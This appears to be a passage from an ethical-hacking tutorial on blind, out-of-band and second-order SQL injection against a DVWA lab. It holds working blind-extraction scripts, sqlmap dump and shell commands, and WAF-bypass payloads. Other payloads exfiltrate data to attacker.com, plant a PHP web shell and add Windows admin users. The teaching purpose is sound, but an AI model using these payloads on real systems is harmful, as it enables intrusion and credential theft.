Learn Ethical Hacking series):Exercise 1 -- Full DVWA SQL injection chain:
Attack chain results:
1. Confirmed injection: 1' triggers SQL error
2. Extracted all users with: 1' OR '1'='1
3. Column count: 2 (ORDER BY 3 errors)
4. Database info: 1' UNION SELECT user(), database() -- -
-> root@localhost, dvwa
5. Tables: guestbook, users
6. Extracted: 1' UNION SELECT user, password FROM users -- -
Cracked MD5 hashes (using john --format=raw-md5):
admin:password
gordonb:abc123
1337:charley
pablo:letmein
smithy:password
5/5 cracked in under 10 seconds with rockyou.txt.
All passwords in the top 10,000 most common.
The key insight: the complete attack chain (SQLi -> hash extraction -> cracking -> full access) took under 5 minutes total. This is why SQL injection is rated Critical -- it's not just data disclosure, it's typically full database compromise. And remember episode 7 on passwords -- these MD5 hashes had zero salting, zero iterations. The weakest possible storage for credentials that are themselves in the top 10,000 most common passwords. Double failure.
Exercise 2 -- Blind injection detection:
import requests
def detect_blind_sqli(url, param, cookies=None):
true_payload = "1' AND 1=1 -- -"
false_payload = "1' AND 1=2 -- -"
r_true = requests.get(url, params={param: true_payload},
cookies=cookies, timeout=10)
r_false = requests.get(url, params={param: false_payload},
cookies=cookies, timeout=10)
len_diff = abs(len(r_true.text) - len(r_false.text))
if len_diff > 50: # significant difference
print(f"[+] Blind SQLi likely! Response difference: {len_diff} bytes")
print(f" True condition: {len(r_true.text)} bytes")
print(f" False condition: {len(r_false.text)} bytes")
else:
print(f"[-] No blind SQLi detected (difference: {len_diff} bytes)")
The key insight: blind injection exploits the fact that TRUE and FALSE conditions produce different server behavior -- even when no data is directly visible. The application's "presence or absence of results" IS the data channel. This is the same concept we'll expand into full data extraction today.
Exercise 3 -- Vulnerable vs secure Flask app:
# vulnerable_app.py
from flask import Flask, request
import sqlite3
app = Flask(__name__)
@app.route('/user')
def get_user():
uid = request.args.get('id', '')
conn = sqlite3.connect('test.db')
# VULNERABLE: string concatenation
result = conn.execute(
f"SELECT * FROM users WHERE id = '{uid}'"
).fetchall()
return str(result)
# secure_app.py -- same functionality, parameterized
@app.route('/user_safe')
def get_user_safe():
uid = request.args.get('id', '')
conn = sqlite3.connect('test.db')
# SECURE: parameterized query
result = conn.execute(
"SELECT * FROM users WHERE id = ?", (uid,)
).fetchall()
return str(result)
# Test: curl "localhost:5000/user?id=1' OR '1'='1"
# Vulnerable: returns all users
# Secure: returns empty (no user with ID "1' OR '1'='1")
The key insight: identical functionality, one character difference (? vs {uid}), fundamentally different security posture. The parameterized version treats the entire input as a literal value, never as SQL code. This is what we called an "architectural fix" in episode 12 -- the parser literally cannot be confused.
Last episode you extracted an entire user table from DVWA in seven steps. You saw error messages, visible output, clear feedback at every stage. That was the easy mode. Real-world applications are not usually that generous.
Today we go deeper. What happens when the application shows you nothing? No query results. No error messages. Just "user found" or "user not found." Turns out that's still enough to extract the entire database -- it just takes more patience and the right technique. We're also bringing in sqlmap for automation, diving into file system access through SQL, and learning how to get past the Web Application Firewalls that try to stop all of this.
Think of last episode as learning to pick a lock with the door wide open so you can see the mechanism. Today we're doing it blindfolded.
Hier we gaan.
Imagine the application doesn't show query results OR error messages. All you get back is a page that says "user found" or an empty page. No data, no errors. Seems secure, right?
Not even close. If the application behaves differently depending on whether the injected condition is true or false, you have a data channel. A slow, painful, one-bit-at-a-time data channel -- but a data channel none the less.
Boolean-based blind extraction works by asking the database yes-or-no questions about the data you want to steal. "Is the first character of the database name equal to 'a'?" If the page shows a result: yes. If the page is empty: no. Move on to 'b'. Repeat for every character, every position. Here's the full extractor:
#!/usr/bin/env python3
"""
Boolean-based blind SQL injection data extractor.
Extracts data one character at a time by observing page differences.
"""
import requests
import string
import sys
TARGET = "http://192.168.56.101/dvwa/vulnerabilities/sqli_blind/"
COOKIES = {'PHPSESSID': 'your_session', 'security': 'low'}
# Something that appears in the response when the condition is true
TRUE_MARKER = "exists in the database"
def is_true(payload):
"""Send payload and check if the condition evaluated to true."""
resp = requests.get(TARGET, params={'id': payload, 'Submit': 'Submit'},
cookies=COOKIES, timeout=10)
return TRUE_MARKER in resp.text
def extract_string(injection_template, max_length=64):
"""Extract a string character by character using blind injection."""
result = ""
for pos in range(1, max_length + 1):
found = False
for char in string.printable[:95]: # printable ASCII
payload = injection_template.format(pos=pos, char=ord(char))
if is_true(payload):
result += char
sys.stdout.write(char)
sys.stdout.flush()
found = True
break
if not found:
break # no more characters
print()
return result
# Extract database name
print("[*] Extracting database name:")
db_name = extract_string(
"1' AND ASCII(SUBSTRING(database(),{pos},1))={char} -- -"
)
print(f"[+] Database: {db_name}")
# Extract table names
print("\n[*] Extracting first table name:")
table = extract_string(
"1' AND ASCII(SUBSTRING((SELECT table_name FROM "
"information_schema.tables WHERE table_schema=database() "
"LIMIT 0,1),{pos},1))={char} -- -"
)
print(f"[+] Table: {table}")
# Extract column names from that table
print("\n[*] Extracting first column name:")
column = extract_string(
"1' AND ASCII(SUBSTRING((SELECT column_name FROM "
"information_schema.columns WHERE table_name='users' "
"LIMIT 0,1),{pos},1))={char} -- -"
)
print(f"[+] Column: {column}")
This is slow. For a 20-character string, that's up to 1,900 requests (95 printable characters x 20 positions). Each request takes maybe 100ms, so a single 20-char string takes about 3 minutes. Extracting a full table with 100 rows? Hours. But it works. And that's what matters when you're staring at a completely blind endpoint.
Optimizing with binary search cuts the request count dramatically:
def extract_char_binary(injection_template, pos):
"""Extract one character using binary search -- 7 requests max
instead of 95."""
low, high = 32, 126 # printable ASCII range
while low < high:
mid = (low + high) // 2
# Test: is the ASCII value > mid?
gt_payload = injection_template.format(pos=pos, char=mid)
gt_payload = gt_payload.replace(f"={mid}", f">{mid}")
if is_true(gt_payload):
low = mid + 1
else:
high = mid
return chr(low)
def extract_string_fast(injection_template, max_length=64):
"""Extract string using binary search for each character."""
result = ""
for pos in range(1, max_length + 1):
# First check if there even is a character at this position
check = injection_template.format(pos=pos, char=0)
check = check.replace("=0", ">0")
if not is_true(check):
break
char = extract_char_binary(injection_template, pos)
result += char
sys.stdout.write(char)
sys.stdout.flush()
print()
return result
Binary search reduces the worst case from 95 requests per character to 7. For that 20-character string: 140 requests instead of 1,900. A 13x speedup. For a full database dump, that's the difference between "overnight" and "lunch break." The math is just log2(95) -- basic binary search applied to ASCII character guessing ;-)
Boolean-based blind injection needs the page to look different for true vs false. But what if the application returns the exact same page regardless? Same content, same headers, same response length. This happens more often than you'd think -- applications that catch all exceptions and return a generic page, APIs that always return {"status": "ok"}, error handlers that swallow everything.
For these cases, we abuse the one thing we can always observe from outside: time.
-- If the first character of the database name is 'd', wait 5 seconds
1' AND IF(ASCII(SUBSTRING(database(),1,1))=100, SLEEP(5), 0) -- -
import time
def is_true_time(payload, threshold=4):
"""Detect true condition via response delay."""
start = time.time()
try:
requests.get(TARGET, params={'id': payload, 'Submit': 'Submit'},
cookies=COOKIES, timeout=15)
except requests.Timeout:
return True # timed out = sleep executed = condition was true
elapsed = time.time() - start
return elapsed > threshold
# Extract database name one character at a time via timing
print("[*] Time-based extraction (slow!):")
for pos in range(1, 20):
for char_code in range(32, 127):
payload = (f"1' AND IF(ASCII(SUBSTRING(database(),"
f"{pos},1))={char_code}, SLEEP(5), 0) -- -")
if is_true_time(payload):
sys.stdout.write(chr(char_code))
sys.stdout.flush()
break
Time-based blind is the slowest injection technique. 5 seconds per test, 95 possible characters per position -- a single character takes up to 475 seconds in the worst case. Even with binary search optimization, it's roughly 35 seconds per character. A full database dump could take days.
But it works against nearly every database backend. MySQL uses SLEEP(). PostgreSQL has PG_SLEEP(). MSSQL has WAITFOR DELAY '0:0:5'. Oracle has DBMS_LOCK.SLEEP (if the user has EXECUTE on DBMS_LOCK) or heavy queries that take measurable time. And time-based blind works when absolutely nothing else does -- no visible output, no error differences, no response length changes. The timing side-channel is always there because the network is real and latency is measurable.
This is, by the way, the exact same principle behind timing attacks in cryptography that we discussed in episode 9. Measuring how long something takes reveals information that was supposed to stay hidden. The universe leaks data through time whether we like it or not.
sqlmap is the industry-standard SQL injection tool. It automates everything we just did manually -- detection, exploitation, data extraction, privilege escalation -- and does it better than most humans can by hand. It ships pre-installed on Kali Linux and it's what you'll see used in real penetration tests.
# Basic scan -- detects injection type automatically
sqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=your_session; security=low"
# Enumerate all databases on the server
sqlmap -u "..." --cookie="..." --dbs
# List tables in a specific database
sqlmap -u "..." --cookie="..." -D dvwa --tables
# Dump the entire users table
sqlmap -u "..." --cookie="..." -D dvwa -T users --dump
# The nuclear option: dump EVERYTHING
sqlmap -u "..." --cookie="..." --dump-all
What sqlmap does internally:
information_schemaHere's the full automated dump against DVWA:
sqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=abc123; security=low" \
-D dvwa -T users --dump --batch
The --batch flag auto-accepts all interactive prompts. sqlmap will detect the injection, fingerprint MySQL, dump the users table, and even attempt to crack the password hashes using its built-in dictionary attack. On a typical DVWA setup, the entire process takes maybe 30 seconds. What took us seven manual steps in episode 12 and a Python script in the exercises -- sqlmap does in one command.
Having said that, I want to stress something: learn the manual techniques before touching sqlmap. If you just run sqlmap without understanding what it's doing underneath, you'll be useless when it fails. And it does fail. Custom applications with non-standard parameters, WAFs that block sqlmap's fingerprint, injection points in JSON bodies or HTTP headers that need manual configuration. When the tool doesn't work out of the box, you need to understand the mechanics to debug it. That's why we spent episode 12 and the first half of this episode on manual extraction.
Sometimes you can't get data through the normal HTTP response at all. The application is completely blind, time-based is too slow, and you need the data faster. Enter out-of-band (OOB) extraction -- making the database server send data to a server you control through a side channel.
DNS exfiltration (MySQL on Windows with FILE privilege):
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',
(SELECT database()),'.attacker.com\\share')) -- -
What happens: MySQL tries to load a file from a UNC path. The operating system resolves the DNS name dvwa.attacker.com -- and that DNS query hits the attacker's DNS server. The database name (dvwa) is embedded in the DNS lookup. Check your DNS logs, read the data. No HTTP response needed.
This works because DNS queries happen at the OS level, outside the application's control. The database engine asks the OS to resolve a hostname, and the OS dutifully sends a DNS packet containing your exfiltrated data. Firewalls almost never block outbound DNS (port 53) because blocking DNS breaks literally everything. That makes it an extremely reliable exfiltration channel.
HTTP exfiltration (if the database can make HTTP requests):
-- PostgreSQL with dblink extension
1'; SELECT dblink_connect('host=attacker.com dbname=' ||
(SELECT current_database())); -- -
-- MSSQL with xp_cmdshell
1'; EXEC xp_cmdshell('curl http://attacker.com/?data=' +
(SELECT TOP 1 password FROM users)); -- -
In sqlmap, out-of-band is configured with --dns-domain for DNS exfiltration, or you can use the --os-shell and --os-cmd options which also leverage OOB techniques internally.
If the database user has the right privileges, SQL injection stops being a "data breach" and becomes a full system compromise. This is where it gets properly scary.
Reading files (MySQL with FILE privilege):
1' UNION SELECT LOAD_FILE('/etc/passwd'), NULL -- -
On DVWA (running as root MySQL user), this returns the entire /etc/passwd file. You now know every user account on the system. Try it yourself -- the output should show root, www-data, mysql, and all service accounts. From there, you know which accounts exist and can target them specifically.
Writing files -- this is the big one:
1' UNION SELECT "<?php system($_GET['cmd']); ?>", NULL
INTO OUTFILE '/var/www/html/shell.php' -- -
If this succeeds (requires FILE privilege AND write permissions on the web root), you just deployed a web shell. Browse to http://target/shell.php?cmd=whoami and you have command execution on the server. From SQL injection to remote code execution in two queries.
In sqlmap, the same escalation path:
# Read a specific file from the server
sqlmap -u "..." --cookie="..." --file-read="/etc/passwd"
# Write a file to the server
sqlmap -u "..." --cookie="..." \
--file-write="local-shell.php" \
--file-dest="/var/www/html/shell.php"
# Try to get an interactive OS shell directly
sqlmap -u "..." --cookie="..." --os-shell
MSSQL is even more dangerous because of xp_cmdshell:
-- Enable xp_cmdshell (if you have sysadmin privileges)
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; -- -
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- -
-- Execute OS commands directly through SQL
'; EXEC xp_cmdshell 'net user hacker Password123! /add'; -- -
'; EXEC xp_cmdshell 'net localgroup administrators hacker /add'; -- -
Two SQL statements and you've created an admin account on the Windows server. This is why pentesters get excited when they find SQL injection on an MSSQL backend -- the escalation path to full system access is direct and well-documented. I've seen this exact chain work on real engagments, and it's always both terrifying and slightly hilarious how fast it goes from "parameter tampering" to "domain admin" ;-)
Web Application Firewalls try to block SQL injection by inspecting HTTP traffic for known malicious patterns. They look for keywords like UNION, SELECT, DROP, and suspicious characters like single quotes. But WAFs have a fundamental problem: they're trying to understand SQL syntax in HTTP parameters, which is an incomplete approximation. The database parser is always the authority on what constitutes valid SQL. When the WAF and the database disagree, the WAF loses.
Common bypass techniques:
-- Case manipulation (WAF blocks "UNION SELECT"
-- but maybe not "UnIoN SeLeCt")
1' UnIoN SeLeCt user, password FROM users -- -
-- Comment-based obfuscation (break up keywords)
1' UN/**/ION SEL/**/ECT user, password FR/**/OM users -- -
-- URL encoding (bypass pattern matching on raw strings)
1' %55NION %53ELECT user, password FROM users -- -
-- Double URL encoding (if the app decodes input twice)
1' %2555NION %2553ELECT user, password FROM users -- -
-- No-space variants (use comments as whitespace)
1'/**/UNION/**/SELECT/**/user,password/**/FROM/**/users-- -
-- Inline comments with MySQL version check
1' /*!50000UNION*/ /*!50000SELECT*/ user,password FROM users -- -
-- Alternative string building (avoid quoted strings in payload)
1' UNION SELECT user, password FROM users WHERE user=CHAR(97,100,109,105,110) -- -
The inline comment trick /*!50000UNION*/ is MySQL-specific and clever. MySQL executes code inside /*!NNNNN ... */ only if the server version is >= NNNNN. So /*!50000UNION*/ executes UNION on MySQL 5.0+. To a WAF that doesn't understand MySQL's comment syntax, it looks like a comment. To MySQL, it's valid SQL.
sqlmap has built-in tamper scripts for WAF bypasses:
# Use tamper scripts to encode/obfuscate payloads
sqlmap -u "..." --tamper=space2comment,between,randomcase
# Available tamper scripts (partial list):
# space2comment -- replaces spaces with /**/
# between -- replaces > with NOT BETWEEN 0 AND
# randomcase -- randomizes keyword casing
# charencode -- URL-encodes all characters
# equaltolike -- replaces = with LIKE
Here's the reality though: WAFs are a defense-in-depth layer, not a fix. The actual fix is parameterized queries, as we covered in episode 12. A WAF is like putting a guard at the door of a house where the windows are open. It makes things harder for the attacker, it catches automated scans and script kiddies, but a determined attacker with knowledge of the WAF's blind spots will get through. And every WAF has blind spots because the problem of perfectly parsing SQL inside HTTP is fundamentally unsolvable -- you'd need a complete SQL parser for every database backend, running on every request, and even then edge cases exist.
Second-order injection (also called stored injection) is when you inject a payload into the database now, but it doesn't trigger until the stored data is used in a different query later. This is the advanced form I briefly mentioned at the end of episode 12. Now let's examine it properly.
The classic scenario:
admin'-- -admin'-- - in the database. No injection happens at registration time.# Registration (parameterized -- safe)
cursor.execute("INSERT INTO users (username, email) VALUES (%s, %s)",
(username, email))
# Later, in a different part of the application...
# Password change function (VULNERABLE -- uses stored data unsafely)
stored_user = get_current_username() # returns "admin'-- -" from DB
cursor.execute(
f"UPDATE users SET password = '{new_hash}' "
f"WHERE username = '{stored_user}'"
)
# Becomes: UPDATE users SET password = 'abc...' WHERE username = 'admin'-- -'
# The -- comments out everything after 'admin'
# Result: changes the ADMIN's password, not the attacker's!
The attacker registered, waited, changed their own password through the normal password-change flow -- and the stored payload changed the admin's password instead. No injection scanner would have caught this because the injection point (registration) and the trigger point (password change) are entirely separate parts of the application. The registration form is secure. The password change is vulnerable. But the vulnerability only manifests when specific stored data reaches the vulnerable code path.
Second-order injection is hard to detect with automated tools because the payload doesn't trigger immediately. It requires understanding the application's data flow -- where does input get stored, where does it get retrieved, and is every retrieval point treating the stored data as untrusted? Most developers parameterize the "input boundary" (forms, API endpoints) but then trust data pulled from their own database. The assumption "it came from our database, so it's safe" is exactly what second-order injection exploits.
This is why secure coding guidelines say to parameterize EVERY query, not just the ones that directly handle user input. If the data originally came from outside the system (and almost all data did, at some point), it should never be concatenated into SQL strings regardless of where it was stored in between.
DVWA's security settings simulate increasingly realistic defenses. Let's see what changes:
Medium security switches the SQL injection page from GET to POST and adds mysql_real_escape_string(), which escapes special characters. But the numeric ID field doesn't use quotes in the query:
// Medium security
$id = mysql_real_escape_string($id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id";
No quotes around $id means no need to break out of a string. The injection doesn't need quotes at all:
1 OR 1=1
1 UNION SELECT user, password FROM users
The escaping function is useless here because it only escapes string delimiters -- and the query doesn't use string delimiters for this parameter. This is a common mistake: applying the wrong defense to the wrong context. The developer thought "I escaped the input, so it's safe." But escaping single quotes only helps if the value is inside single quotes in the query. If it's a bare numeric value, you bypass the defense entirely by... just not using quotes ;-)
High security adds a LIMIT 1 clause and uses a session-based input mechanism. The query becomes:
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1";
The LIMIT 1 restricts output to one row. But UNION-based injection still works -- the LIMIT applies to the original query, not the UNION:
1' UNION SELECT user, password FROM users -- -
The -- - comments out the LIMIT 1. All rows returned. The session-based input makes automated scanning harder (the vulnerable parameter isn't in the URL), but a manual attacker using Burp Suite can intercept and modify the POST request just as easily.
The point of DVWA's security levels isn't that they eventually become unbreakable -- the vulnerable query is ALWAYS injectable because it uses string concatenation. The security levels demonstrate that band-aids (escaping, LIMIT clauses, POST instead of GET) don't fix the underlying architecture problem. Only parameterized queries do.
Exercise 1: Use sqlmap to perform a complete automated attack against DVWA's SQL injection page (security: low). Extract: all database names, all tables in the dvwa database, and the complete users table with cracked passwords. Save the full sqlmap output to ~/lab-notes/sqlmap-dvwa.txt. Then change DVWA security to Medium and try again -- does sqlmap still work? What changes in its approach? Document the differences in ~/lab-notes/sqlmap-medium-vs-low.md.
Exercise 2: Implement the binary-search optimized blind SQL injection extractor from this episode. Use it to extract through DVWA's blind SQL injection page: (a) the database name, (b) the first table name, (c) the first column name of that table. Count the total HTTP requests needed and compare with the naive linear-search approach. How much faster is binary search in practice? Save your script as ~/pentest-tools/blind-sqli-binary.py.
Exercise 3: Research and document three real-world SQL injection breaches that occurred after 2020. For each, describe: what was the injection point (parameter, API endpoint, etc.), what data was extracted, what the CVSS score was if assigned, and what the fix was. Then write a short analysis: why are SQL injection breaches STILL happening despite parameterized queries being available since the early 2000s? Save your analysis in ~/lab-notes/sqli-still-happening.md.
@scipio